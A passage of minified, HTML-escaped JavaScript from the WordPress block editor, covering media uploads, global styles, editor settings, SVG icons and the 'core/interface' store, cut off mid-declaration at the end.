fi=function(e,t,s){if(ui.randomUUID&amp;&amp;!t&amp;&amp;!e)return ui.randomUUID();const n=(e=e||{}).random||(e.rng||hi)();if(n[6]=15&amp;n[6]|64,n[8]=63&amp;n[8]|128,t){s=s||0;for(let e=0;e&lt;16;++e)t[s+e]=n[e];return t}return _i(n)},bi=()=&gt;{};function yi({additionalData:e={},allowedTypes:t,filesList:s,maxUploadFileSize:n,onError:o=bi,onFileChange:r,onSuccess:i,multiple:a=!0}){const{receiveEntityRecords:l}=(0,d.dispatch)(u.store),{getCurrentPost:c,getEditorSettings:p}=(0,d.select)(vc),{lockPostAutosaving:m,unlockPostAutosaving:h,lockPostSaving:g,unlockPostSaving:_}=(0,d.dispatch)(vc),f=p().allowedMimeTypes,b=`image-upload-${fi()}`;let y=!1;n=n||p().maxUploadFileSize;const x=c(),v=&quot;number&quot;==typeof x?.id?x.id:x?.wp_id,w=v?{post:v}:{},S=()=&gt;{_(b),h(b),y=!1};(0,lr.uploadMedia)({allowedTypes:t,filesList:s,onFileChange:e=&gt;{y?S():(g(b),m(b),y=!0),r?.(e);const t=e.filter((e=&gt;e?.id));if(t?.length){l(&quot;postType&quot;,&quot;attachment&quot;,t,void 0,!0)}},onSuccess:i,additionalData:{...w,...e},maxUploadFileSize:n,onError:({message:e})=&gt;{S(),o(e)},wpAllowedMimeTypes:f,multiple:a})}const{sideloadMedia:xi}=$(lr.privateApis);var vi=xi,wi=s(66),Si=s.n(wi);
/*!
 * is-plain-object &lt;https://github.com/jonschlinkert/is-plain-object&gt;
 *
 * Copyright (c) 2014-2017, Jon Schlinkert.
 * Released under the MIT License.
 */
function ki(e){return&quot;[object Object]&quot;===Object.prototype.toString.call(e)}function Ci(e){var t,s;return!1!==ki(e)&amp;&amp;(void 0===(t=e.constructor)||!1!==ki(s=t.prototype)&amp;&amp;!1!==s.hasOwnProperty(&quot;isPrototypeOf&quot;))}const{GlobalStylesContext:Pi,cleanEmptyObject:ji}=$(g.privateApis);function Ei(e,t){return Si()(e,t,{isMergeableObject:Ci,customMerge:e=&gt;{if(&quot;backgroundImage&quot;===e)return(e,t)=&gt;t}})}function Ti(){const[e,t,s]=function(){const{globalStylesId:e,isReady:t,settings:s,styles:n,_links:o}=(0,d.useSelect)((e=&gt;{const{getEntityRecord:t,getEditedEntityRecord:s,hasFinishedResolution:n,canUser:o}=e(u.store),r=e(u.store).__experimentalGetCurrentGlobalStylesId();let i;const a=r?o(&quot;update&quot;,{kind:&quot;root&quot;,name:&quot;globalStyles&quot;,id:r}):null;r&amp;&amp;&quot;boolean&quot;==typeof a&amp;&amp;(i=a?s(&quot;root&quot;,&quot;globalStyles&quot;,r):t(&quot;root&quot;,&quot;globalStyles&quot;,r,{context:&quot;view&quot;}));let l=!1;return n(&quot;__experimentalGetCurrentGlobalStylesId&quot;)&amp;&amp;(l=!r||(a?n(&quot;getEditedEntityRecord&quot;,[&quot;root&quot;,&quot;globalStyles&quot;,r]):n(&quot;getEntityRecord&quot;,[&quot;root&quot;,&quot;globalStyles&quot;,r,{context:&quot;view&quot;}]))),{globalStylesId:r,isReady:l,settings:i?.settings,styles:i?.styles,_links:i?._links}}),[]),{getEditedEntityRecord:r}=(0,d.useSelect)(u.store),{editEntityRecord:i}=(0,d.useDispatch)(u.store);return[t,(0,p.useMemo)((()=&gt;({settings:s??{},styles:n??{},_links:o??{}})),[s,n,o]),(0,p.useCallback)(((t,s={})=&gt;{const n=r(&quot;root&quot;,&quot;globalStyles&quot;,e),o=&quot;function&quot;==typeof t?t({styles:n?.styles??{},settings:n?.settings??{},_links:n?._links??{}}):t;i(&quot;root&quot;,&quot;globalStyles&quot;,e,{styles:ji(o.styles)||{},settings:ji(o.settings)||{},_links:ji(o._links)||{}},s)}),[e,i,r])]}(),[n,o]=function(){const e=(0,d.useSelect)((e=&gt;e(u.store).__experimentalGetCurrentThemeBaseGlobalStyles()),[]);return[!!e,e]}(),r=(0,p.useMemo)((()=&gt;o&amp;&amp;t?Ei(o,t):{}),[t,o]);return(0,p.useMemo)((()=&gt;({isReady:e&amp;&amp;n,user:t,base:o,merged:r,setUserConfig:s})),[r,t,o,s,e,n])}const Ii={};function Bi(e){const{RECEIVE_INTERMEDIATE_RESULTS:t}=$(u.privateApis),{getEntityRecords:s}=e(u.store);return s(&quot;postType&quot;,&quot;wp_block&quot;,{per_page:-1,[t]:!0})}const Ni=[&quot;__experimentalBlockBindingsSupportedAttributes&quot;,&quot;__experimentalBlockDirectory&quot;,&quot;__experimentalDiscussionSettings&quot;,&quot;__experimentalFeatures&quot;,&quot;__experimentalGlobalStylesBaseStyles&quot;,&quot;alignWide&quot;,&quot;blockInspectorTabs&quot;,&quot;maxUploadFileSize&quot;,&quot;allowedMimeTypes&quot;,&quot;bodyPlaceholder&quot;,&quot;canLockBlocks&quot;,&quot;canUpdateBlockBindings&quot;,&quot;capabilities&quot;,&quot;clearBlockSelection&quot;,&quot;codeEditingEnabled&quot;,&quot;colors&quot;,&quot;disableCustomColors&quot;,&quot;disableCustomFontSizes&quot;,&quot;disableCustomSpacingSizes&quot;,&quot;disableCustomGradients&quot;,&quot;disableLayoutStyles&quot;,&quot;enableCustomLineHeight&quot;,&quot;enableCustomSpacing&quot;,&quot;enableCustomUnits&quot;,&quot;enableOpenverseMediaCategory&quot;,&quot;fontSizes&quot;,&quot;gradients&quot;,&quot;generateAnchors&quot;,&quot;onNavigateToEntityRecord&quot;,&quot;imageDefaultSize&quot;,&quot;imageDimensions&quot;,&quot;imageEditing&quot;,&quot;imageSizes&quot;,&quot;isPreviewMode&quot;,&quot;isRTL&quot;,&quot;locale&quot;,&quot;maxWidth&quot;,&quot;postContentAttributes&quot;,&quot;postsPerPage&quot;,&quot;readOnly&quot;,&quot;styles&quot;,&quot;titlePlaceholder&quot;,&quot;supportsLayout&quot;,&quot;widgetTypesToHideFromLegacyWidgetBlock&quot;,&quot;__unstableHasCustomAppender&quot;,&quot;__unstableResolvedAssets&quot;,&quot;__unstableIsBlockBasedTheme&quot;],{globalStylesDataKey:Ri,globalStylesLinksDataKey:Di,selectBlockPatternsKey:Ai,reusableBlocksSelectKey:Mi,sectionRootClientIdKey:Li,mediaEditKey:Oi}=$(g.privateApis);var Fi=function(e,t,s,n){const o=(0,m.useViewportMatch)(&quot;medium&quot;),{allowRightClickOverrides:r,blockTypes:i,focusMode:a,hasFixedToolbar:l,isDistractionFree:c,keepCaretInsideBlock:h,hasUploadPermissions:_,hiddenBlockTypes:f,canUseUnfilteredHTML:b,userCanCreatePages:y,pageOnFront:v,pageForPosts:w,userPatternCategories:S,restBlockPatternCategories:k,sectionRootClientId:P}=(0,d.useSelect)((e=&gt;{const{canUser:r,getRawEntityRecord:i,getEntityRecord:a,getUserPatternCategories:l,getBlockPatternCategories:c}=e(u.store),{get:d}=e(C.store),{getBlockTypes:p}=e(x.store),{getBlocksByName:m,getBlockAttributes:h}=e(g.store),_=r(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?a(&quot;root&quot;,&quot;site&quot;):void 0;return{allowRightClickOverrides:d(&quot;core&quot;,&quot;allowRightClickOverrides&quot;),blockTypes:p(),canUseUnfilteredHTML:i(&quot;postType&quot;,t,s)?._links?.hasOwnProperty(&quot;wp:action-unfiltered-html&quot;),focusMode:d(&quot;core&quot;,&quot;focusMode&quot;),hasFixedToolbar:d(&quot;core&quot;,&quot;fixedToolbar&quot;)||!o,hiddenBlockTypes:d(&quot;core&quot;,&quot;hiddenBlockTypes&quot;),isDistractionFree:d(&quot;core&quot;,&quot;distractionFree&quot;),keepCaretInsideBlock:d(&quot;core&quot;,&quot;keepCaretInsideBlock&quot;),hasUploadPermissions:r(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;attachment&quot;})??!0,userCanCreatePages:r(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;page&quot;}),pageOnFront:_?.page_on_front,pageForPosts:_?.page_for_posts,userPatternCategories:l(),restBlockPatternCategories:c(),sectionRootClientId:&quot;template-locked&quot;===n?m(&quot;core/post-content&quot;)?.[0]??&quot;&quot;:m(&quot;core/group&quot;).find((e=&gt;&quot;main&quot;===h(e)?.tagName))??&quot;&quot;}}),[t,s,o,n]),{merged:j}=Ti(),E=j.styles??Ii,T=j._links??Ii,I=e.__experimentalAdditionalBlockPatterns??e.__experimentalBlockPatterns,B=e.__experimentalAdditionalBlockPatternCategories??e.__experimentalBlockPatternCategories,N=(0,p.useMemo)((()=&gt;[...I||[]].filter((({postTypes:e})=&gt;!e||Array.isArray(e)&amp;&amp;e.includes(t)))),[I,t]),R=(0,p.useMemo)((()=&gt;[...B||[],...k||[]].filter(((e,t,s)=&gt;t===s.findIndex((t=&gt;e.name===t.name))))),[B,k]),{undo:D,setIsInserterOpened:A}=(0,d.useDispatch)(vc),{editMediaEntity:M}=$((0,d.useDispatch)(u.store)),{saveEntityRecord:L}=(0,d.useDispatch)(u.store),O=(0,p.useCallback)((e=&gt;y?L(&quot;postType&quot;,&quot;page&quot;,e):Promise.reject({message:(0,fs.__)(&quot;You do not have permission to create Pages.&quot;)})),[L,y]),F=(0,p.useMemo)((()=&gt;{if(f&amp;&amp;f.length&gt;0){return(!0===e.allowedBlockTypes?i.map((({name:e})=&gt;e)):e.allowedBlockTypes||[]).filter((e=&gt;!f.includes(e)))}return e.allowedBlockTypes}),[e.allowedBlockTypes,f,i]),V=!1===e.focusMode;return(0,p.useMemo)((()=&gt;{const s={...Object.fromEntries(Object.entries(e).filter((([e])=&gt;Ni.includes(e)))),[Ri]:E,[Di]:T,allowedBlockTypes:F,allowRightClickOverrides:r,focusMode:a&amp;&amp;!V,hasFixedToolbar:l,isDistractionFree:c,keepCaretInsideBlock:h,[Oi]:_?M:void 0,mediaUpload:_?yi:void 0,mediaSideload:_?vi:void 0,__experimentalBlockPatterns:N,[Ai]:e=&gt;{const{hasFinishedResolution:s,getBlockPatternsForPostType:n}=$(e(u.store)),o=n(t);return s(&quot;getBlockPatterns&quot;)?o:void 0},[Mi]:Bi,__experimentalBlockPatternCategories:R,__experimentalUserPatternCategories:S,__experimentalFetchLinkSuggestions:(t,s)=&gt;(0,u.__experimentalFetchLinkSuggestions)(t,s,e),inserterMediaCategories:di,__experimentalFetchRichUrlData:u.__experimentalFetchUrlData,__experimentalCanUserUseUnfilteredHTML:b,__experimentalUndo:D,outlineMode:!c&amp;&amp;&quot;wp_template&quot;===t,__experimentalCreatePageEntity:O,__experimentalUserCanCreatePages:y,pageOnFront:v,pageForPosts:w,__experimentalPreferPatternsOnRoot:&quot;wp_template&quot;===t,templateLock:&quot;wp_navigation&quot;===t?&quot;insert&quot;:e.templateLock,template:&quot;wp_navigation&quot;===t?[[&quot;core/navigation&quot;,{},[]]]:e.template,__experimentalSetIsInserterOpened:A,[Li]:P,editorTool:&quot;post-only&quot;===n&amp;&amp;&quot;wp_template&quot;!==t?&quot;edit&quot;:void 0};return s}),[F,r,a,V,l,c,h,e,_,S,N,R,b,D,O,y,v,w,t,A,P,E,T,n,M])};const Vi=[&quot;core/post-title&quot;,&quot;core/post-featured-image&quot;,&quot;core/post-content&quot;];function Ui(){const e=(0,p.useMemo)((()=&gt;[...(0,h.applyFilters)(&quot;editor.postContentBlockTypes&quot;,Vi)]),[]),t=(0,d.useSelect)((t=&gt;{const{getPostBlocksByName:s}=$(t(vc));return s(e)}),[e]);return t}function Hi(){const e=Ui(),{templateParts:t}=(0,d.useSelect)((e=&gt;{const{getBlocksByName:t}=e(g.store);return{templateParts:t(&quot;core/template-part&quot;)}}),[]),s=(0,d.useSelect)((e=&gt;{const{getBlockOrder:s}=e(g.store);return t.flatMap((e=&gt;s(e)))}),[t]),n=(0,d.useRegistry)();return(0,p.useEffect)((()=&gt;{const{setBlockEditingMode:e,unsetBlockEditingMode:t}=n.dispatch(g.store);return e(&quot;&quot;,&quot;disabled&quot;),()=&gt;{t(&quot;&quot;)}}),[n]),(0,p.useEffect)((()=&gt;{const{setBlockEditingMode:t,unsetBlockEditingMode:s}=n.dispatch(g.store);return n.batch((()=&gt;{for(const s of e)t(s,&quot;contentOnly&quot;)})),()=&gt;{n.batch((()=&gt;{for(const t of e)s(t)}))}}),[e,n]),(0,p.useEffect)((()=&gt;{const{setBlockEditingMode:e,unsetBlockEditingMode:s}=n.dispatch(g.store);return n.batch((()=&gt;{for(const s of t)e(s,&quot;contentOnly&quot;)})),()=&gt;{n.batch((()=&gt;{for(const e of t)s(e)}))}}),[t,n]),(0,p.useEffect)((()=&gt;{const{setBlockEditingMode:e,unsetBlockEditingMode:t}=n.dispatch(g.store);return n.batch((()=&gt;{for(const t of s)e(t,&quot;disabled&quot;)})),()=&gt;{n.batch((()=&gt;{for(const e of s)t(e)}))}}),[s,n]),null}function zi(){const e=(0,d.useSelect)((e=&gt;e(g.store).getBlockOrder()?.[0]),[]),{setBlockEditingMode:t,unsetBlockEditingMode:s}=(0,d.useDispatch)(g.store);(0,p.useEffect)((()=&gt;{if(e)return t(e,&quot;contentOnly&quot;),()=&gt;{s(e)}}),[e,s,t])}const Gi=[&quot;wp_block&quot;,&quot;wp_template&quot;,&quot;wp_template_part&quot;];var $i=(0,c.jsxs)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,c.jsx)(L.Path,{d:&quot;m16 15.5h-8v-1.5h8zm-7.5-2.5h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm-9-3h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2zm3 0h-2v-2h2z&quot;}),(0,c.jsx)(L.Path,{d:&quot;m18.5 6.5h-13a.5.5 0 0 0 -.5.5v9.5a.5.5 0 0 0 .5.5h13a.5.5 0 0 0 .5-.5v-9.5a.5.5 0 0 0 -.5-.5zm-13-1.5h13a2 2 0 0 1 2 2v9.5a2 2 0 0 1 -2 2h-13a2 2 0 0 1 -2-2v-9.5a2 2 0 0 1 2-2z&quot;})]}),Wi=(0,c.jsx)(L.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z&quot;})}),Zi=(0,c.jsx)(L.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z&quot;})}),Yi=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM8.5 18.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h2.5v13zm10-.5c0 .3-.2.5-.5.5h-8v-13h8c.3 0 .5.2.5.5v12z&quot;})}),qi=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z&quot;})}),Ki=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z&quot;})}),Qi=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z&quot;})}),Xi=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;m19 7-3-3-8.5 8.5-1 4 4-1L19 7Zm-7 11.5H5V20h7v-1.5Z&quot;})}),Ji=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot;})}),ea=(0,c.jsxs)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,c.jsx)(L.Path,{d:&quot;M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z&quot;}),(0,c.jsx)(L.Path,{d:&quot;M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z&quot;})]}),ta=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z&quot;})}),sa=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M12 4V2.2L9 4.8l3 2.5V5.5c3.6 0 6.5 2.9 6.5 6.5 0 2.9-1.9 5.3-4.5 6.2v.2l-.1-.2c-.4.1-.7.2-1.1.2l.2 1.5c.3 0 .6-.1 1-.2 3.5-.9 6-4 6-7.7 0-4.4-3.6-8-8-8zm-7.9 7l1.5.2c.1-1.2.5-2.3 1.2-3.2l-1.1-.9C4.8 8.2 4.3 9.6 4.1 11zm1.5 1.8l-1.5.2c.1.7.3 1.4.5 2 .3.7.6 1.3 1 1.8l1.2-.8c-.3-.5-.6-1-.8-1.5s-.4-1.1-.4-1.7zm1.5 5.5c1.1.9 2.4 1.4 3.8 1.6l.2-1.5c-1.1-.1-2.2-.5-3.1-1.2l-.9 1.1z&quot;})});const na=window.wp.commands;var oa=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z&quot;})}),ra=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{fillRule:&quot;evenodd&quot;,d:&quot;M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z&quot;,clipRule:&quot;evenodd&quot;})});const ia=window.wp.viewport,aa=window.wp.plugins;var la=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z&quot;})});function ca(e){return[&quot;core/edit-post&quot;,&quot;core/edit-site&quot;].includes(e)?(k()(`${e} interface scope`,{alternative:&quot;core interface scope&quot;,hint:&quot;core/edit-post and core/edit-site are merging.&quot;,version:&quot;6.6&quot;}),&quot;core&quot;):e}function da(e,t){return&quot;core&quot;===e&amp;&amp;&quot;edit-site/template&quot;===t?(k()(&quot;edit-site/template sidebar&quot;,{alternative:&quot;edit-post/document&quot;,version:&quot;6.6&quot;}),&quot;edit-post/document&quot;):&quot;core&quot;===e&amp;&amp;&quot;edit-site/block-inspector&quot;===t?(k()(&quot;edit-site/block-inspector sidebar&quot;,{alternative:&quot;edit-post/block&quot;,version:&quot;6.6&quot;}),&quot;edit-post/block&quot;):t}const ua=(e,t)=&gt;({type:&quot;SET_DEFAULT_COMPLEMENTARY_AREA&quot;,scope:e=ca(e),area:t=da(e,t)}),pa=(e,t)=&gt;({registry:s,dispatch:n})=&gt;{if(!t)return;e=ca(e),t=da(e,t);s.select(C.store).get(e,&quot;isComplementaryAreaVisible&quot;)||s.dispatch(C.store).set(e,&quot;isComplementaryAreaVisible&quot;,!0),n({type:&quot;ENABLE_COMPLEMENTARY_AREA&quot;,scope:e,area:t})},ma=e=&gt;({registry:t})=&gt;{e=ca(e);t.select(C.store).get(e,&quot;isComplementaryAreaVisible&quot;)&amp;&amp;t.dispatch(C.store).set(e,&quot;isComplementaryAreaVisible&quot;,!1)},ha=(e,t)=&gt;({registry:s})=&gt;{if(!t)return;e=ca(e),t=da(e,t);const n=s.select(C.store).get(e,&quot;pinnedItems&quot;);!0!==n?.[t]&amp;&amp;s.dispatch(C.store).set(e,&quot;pinnedItems&quot;,{...n,[t]:!0})},ga=(e,t)=&gt;({registry:s})=&gt;{if(!t)return;e=ca(e),t=da(e,t);const n=s.select(C.store).get(e,&quot;pinnedItems&quot;);s.dispatch(C.store).set(e,&quot;pinnedItems&quot;,{...n,[t]:!1})};function _a(e,t){return function({registry:s}){k()(&quot;dispatch( &#039;core/interface&#039; ).toggleFeature&quot;,{since:&quot;6.0&quot;,alternative:&quot;dispatch( &#039;core/preferences&#039; ).toggle&quot;}),s.dispatch(C.store).toggle(e,t)}}function fa(e,t,s){return function({registry:n}){k()(&quot;dispatch( &#039;core/interface&#039; ).setFeatureValue&quot;,{since:&quot;6.0&quot;,alternative:&quot;dispatch( &#039;core/preferences&#039; ).set&quot;}),n.dispatch(C.store).set(e,t,!!s)}}function ba(e,t){return function({registry:s}){k()(&quot;dispatch( &#039;core/interface&#039; ).setFeatureDefaults&quot;,{since:&quot;6.0&quot;,alternative:&quot;dispatch( &#039;core/preferences&#039; ).setDefaults&quot;}),s.dispatch(C.store).setDefaults(e,t)}}function ya(e){return{type:&quot;OPEN_MODAL&quot;,name:e}}function xa(){return{type:&quot;CLOSE_MODAL&quot;}}const va=(0,d.createRegistrySelector)((e=&gt;(t,s)=&gt;{s=ca(s);const n=e(C.store).get(s,&quot;isComplementaryAreaVisible&quot;);if(void 0!==n)return!1===n?null:t?.complementaryAreas?.[s]})),wa=(0,d.createRegistrySelector)((e=&gt;(t,s)=&gt;{s=ca(s);const n=e(C.store).get(s,&quot;isComplementaryAreaVisible&quot;),o=t?.complementaryAreas?.[s];return n&amp;&amp;void 0===o})),Sa=(0,d.createRegistrySelector)((e=&gt;(t,s,n)=&gt;{n=da(s=ca(s),n);const o=e(C.store).get(s,&quot;pinnedItems&quot;);return o?.[n]??!0})),ka=(0,d.createRegistrySelector)((e=&gt;(t,s,n)=&gt;(k()(&quot;select( &#039;core/interface&#039; ).isFeatureActive( scope, featureName )&quot;,{since:&quot;6.0&quot;,alternative:&quot;select( &#039;core/preferences&#039; ).get( scope, featureName )&quot;}),!!e(C.store).get(s,n))));function Ca(e,t){return e.activeModal===t}var Pa=(0,d.combineReducers)({complementaryAreas:function(e={},t){switch(t.type){case&quot;SET_DEFAULT_COMPLEMENTARY_AREA&quot;:{const{scope:s,area:n}=t;return e[s]?e:{...e,[s]:n}}case&quot;ENABLE_COMPLEMENTARY_AREA&quot;:{const{scope:s,area:n}=t;return{...e,[s]:n}}}return e},activeModal:function(e=null,t){switch(t.type){case&quot;OPEN_MODAL&quot;:return t.name;case&quot;CLOSE_MODAL&quot;:return null}return e}});const ja=(0,d.createReduxStore)(&quot;core/interface&quot;,{reducer:Pa,actions:o,selectors:r});function Ea({as:e=Hn.Button,scope:t,identifier:s,icon:n,selectedIcon:o,name:r,shortcut:i,...a}){const l=e,u=(0,aa.usePluginContext)(),p=n||u.icon,m=s||`${u.name}/${r}`,h=(0,d.useSelect)((e=&gt;e(ja).getActiveComplementaryArea(t)===m),[m,t]),{enableComplementaryArea:g,disableComplementaryArea:_}=(0,d.useDispatch)(ja);return(0,c.jsx)(l,{icon:o&amp;&amp;h?o:p,&quot;aria-controls&quot;:m.replace(&quot;/&quot;,&quot;:&quot;),&quot;aria-checked&quot;:(f=a.role,[&quot;checkbox&quot;,&quot;option&quot;,&quot;radio&quot;,&quot;switch&quot;,&quot;menuitemcheckbox&quot;,&quot;menuitemradio&quot;,&quot;treeitem&quot;].includes(f)?h:void 0),onClick:()=&gt;{h?_(t):g(t,m)},shortcut:i,...a});var f}(0,d.register)(ja);var Ta=({children:e,className:t,toggleButtonProps:s})=&gt;{const n=(0,c.jsx)(Ea,{icon:la,...s});return(0,c.jsxs)(&quot;div&quot;,{className:mr(&quot;components-panel__header&quot;,&quot;interface-complementary-area-header&quot;,t),tabIndex:-1,children:[e,n]})};const Ia=()=&gt;{};function Ba({name:e,as:t=Hn.Button,onClick:s,...n}){return(0,c.jsx)(Hn.Fill,{name:e,children:({onClick:e})=&gt;(0,c.jsx)(t,{onClick:s||e?(...t)=&gt;{(s||Ia)(...t),(e||Ia)(...t)}:void 0,...n})})}Ba.Slot=function({name:e,as:t=Hn.MenuGroup,fillProps:s={},bubblesVirtually:n,...o}){return(0,c.jsx)(Hn.Slot,{name:e,bubblesVirtually:n,fillProps:s,children:e=&gt;{if(!p.Children.toArray(e).length)return null;const s=[];p.Children.forEach(e,(({props:{__unstableExplicitMenuItem:e,__unstableTarget:t}})=&gt;{t&amp;&amp;e&amp;&amp;s.push(t)}));const n=p.Children.map(e,(e=&gt;!e.props.__unstableExplicitMenuItem&amp;&amp;s.includes(e.props.__unstableTarget)?null:e));return(0,c.jsx)(t,{...o,children:n})}})};var Na=Ba;const Ra=({__unstableExplicitMenuItem:e,__unstableTarget:t,...s})=&gt;(0,c.jsx)(Hn.MenuItem,{...s});function 